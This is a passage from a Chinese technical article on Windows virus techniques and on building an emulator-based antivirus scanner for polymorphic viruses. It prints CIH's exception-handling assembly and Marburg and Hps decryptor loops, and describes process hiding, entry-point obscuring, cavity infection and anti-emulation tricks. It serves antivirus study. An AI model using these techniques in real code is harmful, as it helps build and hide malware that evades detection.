地址XXXXXXXXh在程序映象的导入（Import Section）段中，当程序被加载运行时，由装入器负责向里面添入API函数的地址，这就是所谓的动态链接机制。病毒由于为了避免感染一个可执行文件时在文件的导入段中构造病毒体代码中用到的API的链接信息，它选择运用自己在运行时直接定位API函数地址的代码。其实这些函数地址对于操作系统的某个版本是相对固定的，但病毒不能依赖于此。现在较为流行的做法是先定位包含API函数的动态连接库的装入基址，然后在其导出段（Export Section）中寻找到需要的API地址。后面一步几乎没有难度，只要你熟悉导出段结构即可。关键在于第一步--确定DLL装入地址。其实系统DLL装入基址对于操作系统的某个版本也是固定的，但病毒为确保其稳定性仍不能依赖这一点。目前病毒大都利用一个叫做结构化异常处理的技术来捕获病毒体引发的异常。这样一来病毒就可以在一定内存范围内搜索指定的DLL（DLL使用PE格式，头部有固定标志），而不必担心会因引发页面错误而被操作系统杀掉。
由于异常处理和后面的反虚拟执行技术密切相关，所以特将结构化异常处理简单解释如下：
共有两类异常处理：最终异常处理和每线程异常处理。
其一：最终异常处理
当你的进程中无论哪个线程发生了异常，操作系统将调用你在主线程中调用SetUnhandledExceptionFilter建立的异常处理函数。你也无须在退出时拆去你安装的处理代码,系统会为你自动清除。
PUSH OFFSET FINAL_HANDLER
CALL SetUnhandledExceptionFilter
……
CALL ExitProcess
；************************************
FINAL_HANDLER:
……
;(eax=-1 reload context and continue)
MOV EAX,1
RET ；program entry point
……
；code covered by final handler
……
；code to provide a polite exit
……
；eax=1 stops display of closure box
；eax=0 enables display of the box
其二：每线程异常处理
FS中的值是一个十六位的选择子，它指向包含线程重要信息的数据结构TIB,线程信息块。其的首双字节指向我们称为ERR的结构：
1st dword +0 pointer to next err structure
(下一个err结构的指针)
2nd dword +4 pointer to own exception handler
(当前一级的异常处理函数的地址)
所以异常处理是呈练状的，如果你自己的处理函数捕捉并处理了这个异常，那么当你的程序发生了异常时，操作系统就不会调用它缺省的处理函数了，也就不会出现一个讨厌的执行了非法操作的红叉。
下面是cih的异常段：
MyVirusStart:
push ebp
lea eax, [esp-04h*2]
xor ebx, ebx
xchg eax, fs:[ebx] ；交换现在的err结构和前一个结构的地址
； eax=前一个结构的地址
； fs:[0]=现在的err结构指针（在堆栈上）
call @0
@0:
pop ebx
lea ecx, StopToRunVirusCode-@0[ebx] ；你的异常处理函数的偏移
push ecx ；你的异常处理函数的偏移压栈
push eax ；前一个err结构的地址压栈
；构造err结构，记这时候的esp(err结构指针)为esp0
……
StopToRunVirusCode:
@1 = StopToRunVirusCode
xor ebx, ebx ；发生异常时系统在你的练前又加了一个err结构，所以要先找到原来的结构地址
mov eax, fs:[ebx] ； 取现在的err结构的地址eax
mov esp, [eax] ； 取下个结构地址即eps0到esp
RestoreSE: ；没有发生异常时顺利的回到这里,你这时的esp为本esp0
pop dword ptr fs:[ebx] ；弹出原来的前一个结构的地址到fs:0
pop eax ；弹出你的异常处理地址，平栈而已
1.2.7病毒隐藏
实现进程或模块隐藏应该是一个成功病毒所必须具备的特征。在WIN9X下Kernel32.dll有一个可以使进程从进程管理器进程列表中消失的导出函数RegisterServiceProcess ，但它不能使病毒逃离一些进程浏览工具的监视。但当你知道这些工具是如何来枚举进程后，你也会找到对付这些工具相应的办法。进程浏览工具在WIN9X下大都使用一个叫做ToolHelp32.dll的动态连接库中的Process32First和Process32Next两个函数来实现进程枚举的；而在WINNT/2000里也有PSAPI.DLL导出的EnumProcess可用以实现同样之功能。所以病毒就可以考虑修改这些公用函数的部分代码，使之不能返回特定进程的信息从而实现病毒的隐藏。
但事情远没有想象中那么简单，俗话说“道高一尺，魔高一丈”，此理不谬。由于现在很多逆项工程师的努力，微软力图隐藏的许多秘密已经逐步被人们所挖掘出来。当然其中就包括WINDOWS内核使用的管理进程和模块的内部数据结构和代码。比如WINNT/2000用由ntoskrnl.exe导出的内核变量PsInitialSystemProcess所指向的进程Eprocess块双向链表来描述系统中所有活动的进程。如果进程浏览工具直接在驱动程序的帮助下从系统内核空间中读出这些数据来枚举进程，那么任何病毒也无法从中逃脱。
有关Eprocess的具体结构和功能，请参看David A.Solomon和Mark E.Russinovich的《Inside Windows2000》第三版。
1.2.8病毒特殊感染法
对病毒稍微有些常识的人都知道，普通病毒是通过将自身附加到宿主尾部（如此一来，宿主的大小就会增加），并修改程序入口点来使病毒得到击活。但现在不少病毒通过使用特殊的感染技巧能够使宿主大小及宿主文件头上的入口点保持不变。
附加了病毒代码却使被感染文件大小不变听起来让人不可思议，其实它是利用了PE文件格式的特点：PE文件的每个节之间留有按簇大小对齐后的空洞，病毒体如果足够小则可以将自身分成几份并分别插入到每个节最后的空隙中，这样就不必额外增加一个节，因而文件大小保持不变。著名的CIH病毒正是运用这一技术的典型范例（它的大小只有1K左右）。
病毒在不修改文件头入口点的前提下要想获得控制权并非易事：入口点不变意味着程序是从原程序的入口代码处开始执行的，病毒必须要将原程序代码中的一处修改为导向病毒入口的跳转指令。原理就是这样，但其中还存在很多可讨论的地方，如在原程序代码的何处插入这条跳转指令。一些查毒工具扫描可执行文件头部的入口点域，如果发现它指向的地方不正常，即不在代码节而在资源节或重定位节中，则有理由怀疑文件感染了某种病毒。所以刚才讨论那种病毒界称之为EPO（入口点模糊）的技术可以很好的对付这样的扫描，同时它还是反虚拟执行的重要手段。
另外值得一提的是现在不少病毒已经支持对压缩文件的感染。如Win32.crypto病毒就可以感染ZIP，ARJ，RAR，ACE，CAB 等诸多类型的压缩文件。这些病毒的代码中含有对特定压缩文件类型解压并压缩的代码段，可以先把压缩文件中的内容解压出来，然后对合适的文件进行感染，最后再将感染后文件压缩回去并同时修改压缩文件头部的校验和。目前不少反病毒软件都支持查多种格式的压缩文件，但对有些染毒的压缩文件无法杀除。原因我想可能是怕由于某种缘故，如解压或压缩有误，校验和计算不对等，使得清除后压缩文件格式被破坏。病毒却不用对用户的文件损坏负责，所以不存在这种担心。
2．虚拟机查毒
2.1虚拟机概论
近些年,虚拟机，在反病毒界也被称为通用解密器，已经成为反病毒软件中最引人注目的部分，尽管反病毒者对于它的运用还远没有达到一个完美的程度，但虚拟机以其诸如"病毒指令码模拟器"和"Stryker"等多变的名称为反病毒产品的市场销售带来了光明的前景。以下的讨论将把我们带入一个精彩的虚拟技术的世界中。
首先要谈及的是虚拟机的概念和它与诸如Vmware（美国VMWARE公司生产的一款虚拟机，它支持在WINNT/2000环境下运行如Linux等其它操作系统）和WIN9X下的VDM（DOS虚拟机，它用来在32位保护模式环境中运行16实模式代码）的区别。其实这些虚拟机的设计思想是有渊源可寻的，早在上个世纪60年代IBM就开发了一套名为VM/370的操作系统。VM/370在不同的程序之间提供抢先式多任务，作法是在单一实际的硬件上模式出多部虚拟机器。典型的VM/370会话，使用者坐在电缆连接的远程终端前，经由控制程序的一个IPL命令，模拟真实机器的初始化程序装载操作，于是 一套完整的操作系统被载入虚拟机器中，并开始为使用者着手创建一个会话。这套模拟系统是如此的完备，系统程序员甚至可以运行它的一个虚拟副本，来对新版本进行除错。Vmware与此非常相似，它作为原操作系统下的一个应用程序可以为运行于其上的目标操作系统创建出一部虚拟的机器，目标操作系统就象运行在单独一台真正机器上，丝毫察觉不到自己处于Vmware的控制之下。当在Vmware中按下电源键（Power On）时，窗口里出现了机器自检画面，接着是操作系统的载入，一切都和真的一样。而WIN9X为了让多个程序共享CPU和其它硬件资源决定使用VMs（所有Win32应用程序运行在一部系统虚拟机上；而每个16位DOS程序拥有一部DOS虚拟机）。VM是一个完全由软件虚构出来的东西，以和真实电脑完全相同的方式来回应应用程序所提出的需求。从某种角度来看，你可以将一部标准的PC的结构视为一套API。这套API的元素包括硬件I/O系统，和以中断为基础的BIOS和MS-DOS。WIN9X常常以它自己的软件来代理这些传统的API元素，以便能够对珍贵的硬件多重发讯。在VM上运行的应用程序认为自己独占整个机器，它们相信自己是从真正的键盘和鼠标获得输入，并从真正的屏幕上输出。稍被加一点限制，它们甚至可以认为自己完全拥有CPU和全部内存。实现虚拟技术关键在于软件虚拟化和硬件虚拟化，下面简要介绍WIN9X下的DOS虚拟机的实现。
当Windows移往保护模式后，保护模式程序无法直接调用实模式的MS-DOS处理例程，也不能直接调用实模式的BIOS。软件虚拟化就是用来描述保护模式Windows部件是如何能够和实模式MS-DOS和BIOS彼此互动。软件虚拟化要求操作系统能够拦截企图跨越保护模式和实模式边界的调用，并且调整适当的参数寄存器后，改变CPU模式。WIN9X使用虚拟设备驱动（VXD）拦截来自保护模式的中断，通过实模式中断向量表（IVT），将之转换为实模式中断调用。做为转换的一部分，VXD必须使用置于保护模式扩展内存中的参数，生成出适当的参数，并将之放在实模式（V86）操作系统可以存取的地方。服务结束后，VXD在把结果交给扩展内存中保护模式调用端。16位DOS程序中大量的21H和13H中断调用就此解决，但其中还存在不少直接端口I/O操作，这就需要引入硬件虚拟化来解决。虚拟硬件的出现是为了在硬件中断请求线上产生中断请求，为了回应IN和OUT指令，改变特殊内存映射位置等原因。硬件虚拟化依赖于Intel 80386+的几个特性。其中一个是I/O许可掩码，使操作系统可能诱捕（Trap）对任何一个端口的所有IN/OUT指令。另一个特性是：由硬件辅助的分页机制，使操作系统能够提供虚拟内存，并拦截对内存地址的存取操作，将Video RAM虚拟化是此很好的例证。最后一个必要的特性是CPU的虚拟8086（V86）模式 ，让DOS程序象在实模式中那样地执行。
我们下面讨论用于查毒的虚拟机并不是象某些人想象的：如Vmware一样为待查可执行程序创建一个虚拟的执行环境，提供它可能用到的一切元素，包括硬盘，端口等，让它在其上自由发挥，最后根据其行为来判定是否为病毒。当然这是个不错的构想，但考虑到其设计难度过大（需模拟元素过多且行为分析要借助人工智能理论），因而只能作为以后发展的方向。我设计的虚拟机严格的说不能称之为虚拟机器，而叫做虚拟CPU，通用解密器等更为合适一些，但由于反病毒界习惯称之为虚拟机，所以在下面的讨论中我还将延续这个名称。查毒的虚拟机是一个软件模拟的CPU，它可以象真正CPU一样取指，译码，执行，它可以模拟一段代码在真正CPU上运行得到的结果。给定一组机器码序列，虚拟机会自动从中取出第一条指令操作码部分，判断操作码类型和寻址方式以确定该指令长度，然后在相应的函数中执行该指令，并根据执行后的结果确定下条指令的位置，如此循环反复直到某个特定情况发生以结束工作，这就是虚拟机的基本工作原理和简单流程。设计虚拟机查毒的目的是为了对付加密变形病毒，虚拟机首先从文件中确定并读取病毒入口处代码，然后以上述工作步骤解释执行病毒头部的解密段（decryptor），最后在执行完的结果（解密后的病毒体明文）中查找病毒的特征码。这里所谓的“虚拟”，并非是创建了什么虚拟环境，而是指染毒文件并没有实际执行，只不过是虚拟机模拟了其真实执行时的效果。这就是虚拟机查毒基本原理，具体介绍请参看后面的相关章节。
当然，虚拟执行技术使用范围远不止自动脱壳（虚拟机查毒实际上是自动跟踪病毒入口的解密子将加密的病毒体按其解密算法进行解密），它还可以应用在跨平台高级语言解释器，恶意代码分析，调试器。如刘涛涛设计的国产调试器Trdos就是完全利用虚拟技术解释执行被调试程序的每条指令，这种调试器比较起传统的断点式调试器（Debug,Softice等）具有诸多优势，如不易被被调试者察觉，断点个数没有限制等。
2.2加密变形病毒
前面提到过设计虚拟机查毒的目的是为了对付加密变形病毒。这一章就重点介绍加密变形技术。
早期病毒没有使用任何复杂的反检测技术，如果拿反汇编工具打开病毒体代码看到的将是真正的机器码。因而可以由病毒体内某处一段机器代码和此处距离病毒入口（注意不是文件头）偏移值来唯一确定一种病毒。查毒时只需简单的确定病毒入口并在指定偏移处扫描特定代码串。这种静态扫描技术对付普通病毒是万无一失的。
随着病毒技术的发展，出现了一类加密病毒。这类病毒的特点是：其入口处具有解密子（decryptor），而病毒主体代码被加了密。运行时首先得到控制权的解密代码将对病毒主体进行循环解密，完成后将控制交给病毒主体运行，病毒主体感染文件时会将解密子，用随机密钥加密过的病毒主体，和保存在病毒体内或嵌入解密子中的密钥一同写入被感染文件。由于同一种病毒的不同传染实例的病毒主体是用不同的密钥进行加密，因而不可能在其中找到唯一的一段代码串和偏移来代表此病毒的特征，似乎静态扫描技术对此即将失效。但仔细想想，不同传染实例的解密子仍保持不变机器码明文（从理论上讲任何加密程序中都存在未加密的机器码，否则程序无法执行），所以将特征码选于此处虽然会冒一定的误报风险（解密子中代码缺少病毒特性，同样的特征码也会出现在正常程序中），但仍不失为一种有效的方法。
由于加密病毒还没有能够完全逃脱静态特征码扫描，所以病毒写作者在加密病毒的基础之上进行改进，使解密子的代码对不同传染实例呈现出多样性，这就出现了加密变形病毒。它和加密病毒非常类似，唯一的改进在于病毒主体在感染不同文件会构造出一个功能相同但代码不同的解密子，也就是不同传染实例的解密子具有相同的解密功能但代码却截然不同。比如原本一条指令完全可以拆成几条来完成，中间可能会被插入无用的垃圾代码。这样，由于无法找到不变的特征码，静态扫描技术就彻底失效了。下面先举两个例子说明加密变形病毒解密子构造，然后再讨论怎样用虚拟执行技术检测加密变形病毒。
著名多形病毒Marburg的变形解密子：
00401020: movsx edi,si ；病毒入口
00401023: movsx edx,bp
00401026: jmp 00408a99
......
00407400: ；病毒体入口
加密的病毒主体
00408a94: ；解密指针初始值
......
00408a99: mov dl,f7
00408a9b: movsx edx,bx
00408a9e: mov ecx,cf4b9b4f
00408aa3: call 00408ac4
......
00408ac4: pop ebx
00408ac5: jmp 00408ade
......
00408ade: mov cx,di
00408ae1: add ebx,9fdbd22d
00408ae7: jmp 00408b08
......
00408b08: add ecx,80c1fbc1
00408b0e: mov ebp,7fcdeff3 ；循环解密记数器初值
00408b13: sub cl,39
00408b16: movsx esi,si
00408b19: add dword ptr[ebx+60242dbf],9ef42073 ；解密语句，9ef42073是密钥
00408b23: mov edx,6fd1d4cf
00408b28: mov di,dx
00408b2b: inc ebp
00408b2c: xor dl,a3
00408b2f: mov cx,si
00408b32: sub ebx,00000004 ；移动解密偏移指针，逆向解密
00408b38: mov ecx,86425df9
00408b3d: cmp ebp,7fcdf599 ；判断解密结束与否
00408b43: jnz 00408b16
00408b49: jmp 00408b62
......
00408b62: mov di,bp
00408b65: jmp 00407400 ；将控制权交给解密后的病毒体入口
著名多形病毒Hps的变形解密子：
005365b8: ；解密指针初始值和病毒体入口
加密的病毒主体
......
005379cd: call 005379e2
......
005379e2: pop ebx
005379e3: sub ebx,0000141a ；设置解密指针初值
005379e9: ret
......
005379f0: dec edx ；减少循环记数值
005379f1: ret
......
00537a00: xor dword ptr[ebx],10e7ed59 ；解密语句，10e7ed59是密钥
00537a06: ret
......
00537a1a: sub ebx,ffffffff
00537a20: sub ebx,fffffffd ；移动解密指针，正向解密
00537a26: ret
......
00537a30: mov edx,74d9cb97 ；设置循环记数初值
00537a35: ret
......
00537a3f: call 005379cd ；病毒入口
00537a44: call 00537a30
00537a49: call 00537a00
00537a4e: call 00537a1a
00537a53: call 005379f0
00537a58: mov esi,edx
00537a5a: cmp esi,74d9c696 ；判断解密结束与否
00537a60: jnz 00537a49
00537a66: jmp 005365b8 ；将控制权交给解密后的病毒体入口
以上的代码看上去绝对不会是用编译器编译出来，或是编程者手工写出来的，因为其中充斥了大量的乱数和垃圾。代码中没有注释部分均可认为是垃圾代码，有用部分完成的功能仅是循环向加密过的病毒体的每个双字加上或异或一个固定值。这只是变形病毒传染实例的其中一个，别的实例的解密子和病毒体将不会如此，极度变形以至让人无法辩识。至于变形病毒的实现技术由于涉及复杂的算法和控制，因此不在我们讨论范围内。
这种加密变形病毒的检测用传统的静态特征码扫描技术显然已经不行了。为此我们采取的方法是动态特征码扫描技术，所谓“动态特征码扫描”指先在虚拟机的配合下对病毒进行解密，接着在解密后病毒体明文中寻找特征码。我们知道解密后病毒体明文是稳定不变的，只要能够得到解密后的病毒体就可以使用特征码扫描了。要得到病毒体明文首先必须利用虚拟机对病毒的解密子进行解释执行，当跟踪并确定其循环解密完成或达到规定次数后，整个病毒体明文或部分已被保存到一个内部缓冲区中了。虚拟机之所以又被称为通用解密器在于它不用事先知道病毒体的加密算法，而是通过跟踪病毒自身的解密过程来对其进行解密。至于虚拟机怎样解释指令执行，怎样确定可执行代码有无循环解密段等细节将在下一节中介绍。
2.3虚拟机实现技术详解
有了前面关于加密变形病毒的介绍，现在我们知道动态特征码扫描技术的关键就在于必须得到病毒体解密后的明文，而得到明文产生的时机就是病毒自身解密代码解密的完毕。目前有两种方法可以跟踪控制病毒的每一步执行，并能够在病毒循环解密结束后从内存中读出病毒体明文。一种是单步和断点跟踪法，和目前一些程序调试器相类似；另一种方法当然就是虚拟执行法。下面分别分析单步和断点跟踪法和虚拟执行法的技术细节。
单步跟踪和断点是实现传统调试器的最根本技术。单步的工作原理很简单：当CPU在执行一条指令之前会先检查标志寄存器，如果发现其中的陷阱标志被设置则会在指令执行结束后引发一个单步陷阱INT1H。至于断点的设置有软硬之分，软件断点是指调试器用一个通常是单字节的断点指令（CC，即INT3H）替换掉欲触发指令的首字节，当程序执行至断点指令处，默认的调试异常处理代码将被调用，此时保存在栈中的段/偏移地址就是断点指令后一字节的地址；而硬件断点的设置则利用了处理器本身的调试支持，在调试寄存器（DR0--DR4）中设置触发指令的线形地址并设置调试控制寄存器（DR7）中相关的控制位，CPU会在预设指令执行时自动引发调试异常。而Windows本身又提供了一套调试API，使得调试跟踪一个程序变得非常简单：调试器本身不用接挂默认的调试异常处理代码，而只须调用WaitForDebugEvent等待系统发来的调试事件；调试器可利用GetThreadContext挂起被调试线程获取其上下文，并设置上下文中的标志寄存器中的陷阱标志位，最后通过SetThreadContext使设置生效来进行单步调试；调试器还可通过调用两个功能强大的调试API--ReadProcessMemory和WriteProcessMemory来向被调试线程的地址空间中注入断点指令。根据我逆向后的分析结果，VC++的调试器就是直接利用这套调试API写成的。使用以上的调试技术既然可以写出像VC++那样功能齐全的调试器，那么没有理由不能将之运用于病毒代码的自动解密上。最简单的最法：创建待查可执行文件为调试器的调试子进程，然后用上述方法对其进行单步跟踪，每当收到具有EXCEPTION_SINGLE_STEP异常代码的事件时就可以分析该条以单步模式执行的指令，最后当判断病毒的整个解密过程结束后即可调用ReadProcessMemory读出病毒体明文。
用单步和断点跟踪法的唯一一点好处就在于它不用处理每条指令的执行--这意味着它无需编写大量的特定指令处理函数，因为所有的解密代码都交由CPU去执行，调试器不过是在代码被单步中断的间隙得到控制权而已。但这种方法的缺点也是相当明显的：其一容易被病毒觉察到，病毒只须进行简单的堆栈检查，或直接调用IsDebugerPresent就可确定自己正处于被调试状态；其二由于没有相应的机器码分析模块，指令的译码，执行完全依赖于CPU，所以将导致无法准确地获取指令执行细节并对其进行有效的控制。；其三单步和断点跟踪法要求待查可执行文件真实执行，即其将做为系统中一个真实的进程在自己的地址空间中运行，这当然是病毒扫描所不能允许的。很显然，单步和断点跟踪法可以应用在调试器，自动脱壳等方面，但对于查毒却是不合适的。
而使用虚拟执行法的唯一一点缺点就在于它必须在内部处理所有指令的执行--这意味着它需要编写大量的特定指令处理函数来模拟每种指令的执行效果，这里根本不存在何时得到控制权的问题，因为控制权将永远掌握在虚拟机手中。用软件方法模拟CPU并非易事，需要对其机制有足够的了解，否则模拟效果将与真实执行相去甚远。举两个例子：一个是病毒常用的乘法后ASCII调整指令AAM，这条指令因为存在未公开的行为从而常常被病毒用来考验虚拟机设计的优劣。通常情况下AAM是双字节指令，操作码为D4 0A（其实0A隐含代表了操作数10）；但也可作为单字节指令明确地指定第二字节除数为任意8位立即数，此时操作码仅为D4。虚拟机必需考虑到后一种指定除数的情况来保证模拟结果的正确性；还有一个例子是关于处理器响应中断的方式，即CPU在刚打开中断后将不会马上响应中断，而必须隔一个指令周期。如果虚拟机没有考虑到该机制则很可能虚拟执行流程会与真实情况不符。但虚拟执行的优点也是很明显的，同时它正好填补了单步和断点跟踪法所力不能及的方面：首先是不可能被病毒觉察到，因为虚拟机将在其内部缓冲区中为被虚拟执行代码设立专用的堆栈，所以堆栈检查结果与实际执行无二（不会向堆栈中压入单步和断点中断时的返回地址）；其次由于虚拟机自身完成指令的解码和地址的计算，所以能够获取每条指令的执行细节并加以控制；最后，最为关键的一条在于虚拟执行确实做到了“虚拟”执行，系统中不会产生代表被执行者的进程，因为被执行者的寄存器组和堆栈等执行要素均在虚拟机内部实现，因而可以认为它在虚拟机地址空间中执行。鉴于虚拟执行法诸多的优点，所以将其运用于通用病毒体解密上是再好不过的了。
通常，虚拟机的设计方案可以采取以下三种之一：自含代码虚拟机（SCCE），缓冲代码虚拟机（BCE），有限代码虚拟机（LCE）。
自含代码虚拟机工作起来象一个真正的CPU。一条指令取自内存，由SCCE解码，并被传送到相应的模拟这条指令的例程，下一条指令则继续这个循环。虚拟机会包含一个例程来对内存/寄存器寻址操作数进行解码，然后还会包括一个用于模拟每个可能在CPU上执行的指令的例程集。正如你所想到的，SCCE的代码会变的无比的巨大而且速度也会很慢。然而SCCE对于一个先进的反病毒软件是很有用的。所有指令都在内部被处理，虚拟机可以对每条指令的动作做出非常详细的报告，这些报告和启发式数据以及通用清除模块将相互参照形成一个有效的反毒系统。同时，反病毒程序能够最精确地控制内存和端口的访问，因为它自己处理地址的解码和计算。
缓冲代码虚拟机是SCCE的一个缩略版,因为相对于SCCE它具有较小的尺寸和更快的执行速度。在BCE中，一条指令是从内存中取得的，并和一个特殊指令表相比较。如果不是特殊指令，则它被进行简单的解码以求得指令的长度，随后所有这样的指令会被导入到一个可以通用地模拟所有非特殊指令的小过程中。而特殊指令，只占整个指令集的一小部分，则在特定的小处理程序中进行模拟。BCE通过将所有非特殊指令用一个小的通用的处理程序模拟来减少它必须特殊处理的指令条数，这样一来它削减了自身的大小并提高了执行速度。但这意味着它将不能真正限制对某个内存区域，端口或其他类似东西的访问，同时它也不可能生成如SCCE提供的同样全面的报告。
有限代码虚拟机有点象用于通用解密的虚拟系统所处的级别。LCE实际上并非一个虚拟机，因为它并不真正的模拟指令，它只简单地跟踪一段代码的寄存器内容，也许会提供一个小的被改动的内存地址表，或是调用过的中断之类的东西。选择使用LCE而非更大更复杂的系统的原因，在于即使只对极少数指令的支持便可以在解密原始加密病毒的路上走很远，因为病毒仅仅使用了INTEL指令集的一小部分来加密其主体。使用LCE，原本处理整个INTEL指令集时的大量花费没有了，带来的是速度的巨大增长。当然，这是以不能处理复杂解密程序段为代价的。当需要进行快速文件扫描时LCE就变的有用起来，因为一个小型但象样的LCE可以用来快速检查执行文件的可疑行为，反之对每个文件都使用SCCE算法将会导致无法忍受的缓慢。当然，如果一个文件看起来可疑，LCE还可以启动某个SCCE代码对文件进行全面检查。
下面开始介绍32位自含代码虚拟机w32encode（w32encode.cpp，Tw32asm.h，Tw32asm.cpp做为查毒引擎的一部分和其它搜索清除模块联编为Rsengine.dll）的程序结构和流程。由于这是一个设计完备且复杂的大型商用虚拟机，其中不可避免地包含了对某些特定病毒的特定处理，为了使虚拟机模型的结构清晰脉络分明，分析时我将做适当的简化。
w32encode的工作原理很简单：它首先设置模拟寄存器组（用一个DWORD全局变量模拟真实CPU内部的一个寄存器，如ENEAX）的初始值，初始化执行堆栈指针（虚拟机用内部的一个数组static int STACK[0x20]来模拟堆栈）。然后进入一个循环，解释执行指令缓冲区ProgBuffer中的头256条指令，如果循环退出时仍未发现病毒的解密循环则可由此判定非加密变形病毒，若发现了解密循环则调用EncodeInst函数重复执行循环解密过程，将病毒体明文解密到DataSeg1或DataSeg2中。相关部分代码如下：
W32Encode0中总体流程控制部分代码：
for
        (i=0;i<0x100;i++) //首先虚拟执行256条指令试图发现病毒循环解密子
{
if
        (InstLoc>=0x280)
return(0);
if
        (InstLoc+ProgSeekOff>=ProgEndOff)
return(0);
        //以上两条判断语句检查指令位置的合法性
saveinstloc();
        //存储当前指令在指令缓冲区中的偏移
HasAddNewInst=0;
if (!(j=parse()))
        //虚拟执行指令缓冲区中的一条指令
return(0); //遇到不认识的指令时退出循环
if (j==2)
        //返回值为2说明发现了解密循环
break;
}
if (i==0x100)
        //执行过256条指令后仍未发现循环则退出
return(0);
PreParse=0;
ProcessInst();
if (!EncodeInst())
        //调用解密函数重复执行循环解密过程
return(0);
Pjmp中判定循环出现部分代码：
if ((loc>=0)&&(loc<InstLoc)) //若转移后指令指针小于当前指令指针则可能出现循环
if (!isinstloc(loc)) //在保存的指令指针数组InstLocArray中查找转移后指
...... //令指针值，如发现则可判定循环出现
else
{
......
return(2); //返回值2代表发现了解密循环
}
parse中虚拟执行每条指令的过程较复杂一些：通常parse会从取得指令缓冲区ProgBuffer中取得当前指令的头两个字节（包括了全部操作码）并根据它们的值调用相应的指令处理函数。例如当第一个字节等于0F并且第二个字节位与BE后等于BE时，可判定此指令为movszx并同时调用movszx进行处理。当执行进入特定指令的处理函数中时，首先要通过判断寻址方式（调用modregrm或modregrm1）确定指令长度并将控制权交给saveinst函数。saveinst在保存该指令的相关信息后会调用真正指令执行函数W32ExecuteInst。这个函数和parse非常相似，它从SaveInstBuf1中取得当前指令的头两个字节并根据它们的值调用相应的指令模拟函数以完成一条指令的执行。相关部分代码如下：
W32ExecuteInst中指令分遣部分代码：
if ((c&0xf0)==0x50)
{if (ExecutePushPop1(c)) //模拟push和pop
return(gotonext());
return(0);
}
if (c==0x9c)
{if (ExecutePushf()) //模拟pushf
return(gotonext());
return(0);
}
if (c==(char)0x9d)
{if (ExecutePopf()) //模拟popf
return(gotonext());
return(0);
}
if ((c==0xf)&&((c2&0xbe)==0xbe))
{if (i=ExecuteMovszx(0)) //模拟movszx
return(gotonext());
return(0);
}
2.4虚拟机代码剖析
总体流程控制和分遣部分的相关代码，在上一章中都已分析过了。下面分析具体的特定指令模拟函数，这才是虚拟机的精华之所在。我将指令分成不依赖标志寄存器和依赖标志寄存器两大类分别介绍：
2.4.1不依赖标志寄存器指令模拟函数的分析
push和pop指令的模拟：
static int ExecutePushPop1(int c)
{
if (c<=0x57)
{if (StackP<0) //入栈前检查堆栈缓冲指针的合法性
return(0);
}
else
if (StackP>=0x40) //出栈前检查堆栈缓冲指针的合法性
return(0);
if (c<=0x57) {
StackP--;
ENESP-=4; //如果是入栈指令则在入栈前减少堆栈指针
}
switch (c)
{case 0x50:STACK[StackP]=ENEAX; //模拟push eax
break;
......
case 0x5f:ENEDI=STACK[StackP]; //模拟push edi
break;
}
if (c>=0x58) {
StackP++;
ENESP+=4; //如果是出栈指令则在出栈后增加堆栈指针
}
return(1);
}
2.4.2依赖标志寄存器指令模拟函数的分析
CW32Asm类中cmp指令的模拟：
void CW32Asm:: cmpw(int c1,int c2)
{
char FlgReg;
__asm {
mov eax,c1 //取得第一个操作数
mov ecx,c2 //取得第二个操作数
cmp eax,ecx //比较
lahf //将比较后的标志结果装入ah
mov FlgReg,ah //保存结果在局部变量FlgReg中
}
FlagReg=FlgReg; //保存结果在全局变量FlagReg中
}
CW32Asm类中jnz指令的模拟：
int CW32Asm::JNE()
{int i;
char FlgReg=FlagReg; //用保存的FlagReg初始化局部变量FlgReg
__asm
{
mov ah,FlgReg //设置ah为保存的模拟标志寄存器值
pushf //保存虚拟机自身当前标志寄存器
sahf //将模拟标志寄存器值装入真实标志寄存器中
mov eax,1
jne l //执行jnz
popf //恢复虚拟机自身标志寄存器
xor eax,eax
l:
popf //恢复虚拟机自身标志寄存器
mov i,eax
}
return(i); //返回值为1代表需要跳转
}
2.5反虚拟机技术
任何一个事物都不是尽善尽美，无懈可击的，虚拟机也不例外。由于反虚拟执行技术的出现，使得虚拟机查毒受到了一定的挑战。这里介绍几个比较典型的反虚拟执行技术：
首先是插入特殊指令技术，即在病毒的解密代码部分人为插入诸如浮点，3DNOW，MMX等特殊指令以达到反虚拟执行的目的。尽管虚拟机使用软件技术模拟真正CPU的工作过程，它毕竟不是真正的CPU，由于精力有限，虚拟机的编码者可能实现对整个Intel指令集的支持，因而当虚拟机遇到其不认识的指令时将会立刻停止工作。但通过对这类病毒代码的分析和统计，我们发现通常这些特殊指令对于病毒的解密本身没有发生任何影响，它们的插入仅仅是为了干扰虚拟机的工作，换句话说就是病毒根本不会利用这条随机的垃圾指令的运算结果。这样一来，我们可以仅构造一张所有特殊指令对应于不同寻址方式的指令长度表，而不必为每个特殊指令编写一个专用的模拟函数。有了这张表后，当虚拟机遇到不认识的指令时可以用指令的操作码索引表格以求得指令的长度，然后将当前模拟的指令指针（EIP）加上指令长度来跳过这条垃圾指令。当然，还有一个更为保险的办法那就是：得到指令长度后，可以将这条我们不认识的指令放到一个充满空操作指令（NOP）的缓冲区中，接着我们将跳到缓冲区中去执行，这等于让真正的CPU帮我们来执行这条指令，最后一步当然是将执行后真实寄存器中的结果放回我们的模拟寄存器中。这虚拟执行和真实执行参半方法的好处在于：即便在特殊指令对于病毒是有意义的，即病毒依赖其返回结果的情况下，虚拟机仍可保证虚拟执行结果的正确。
其次是结构化异常处理技术，即病毒的解密代码首先设置自己的异常处理函数，然后故意引发一个异常而使程序流程转向预先设立的异常处理函数。这种流程转移是CPU和操作系统相互配合的结果，并且在很大程度上，操作系统在其中起了很大的作用。由于目前的虚拟机仅仅模拟了没有保护检查的CPU的工作过程，而对于系统机制没有进行处理。所以面对引发异常的指令会有两种结果：其一是某些设计有缺陷的虚拟机无法判断被模拟指令的合法性，所以模拟这样的指令将使虚拟机自身执行非法操作而退出；其二虚拟机判断出被模拟指令属于非法指令，如试图向只读页面写入的指令，则立刻停止虚拟执行。通常病毒使用该技术的目的在于将真正循环解密代码放到异常处理函数后，如此虚拟机将在进入异常处理函数前就停止了工作，从而使解密子有机会逃避虚拟执行。因而一个好的虚拟机应该具备发现和记录病毒安装异常过滤函数的操作并在其引发异常时自动将控制转向异常处理函数的能力。
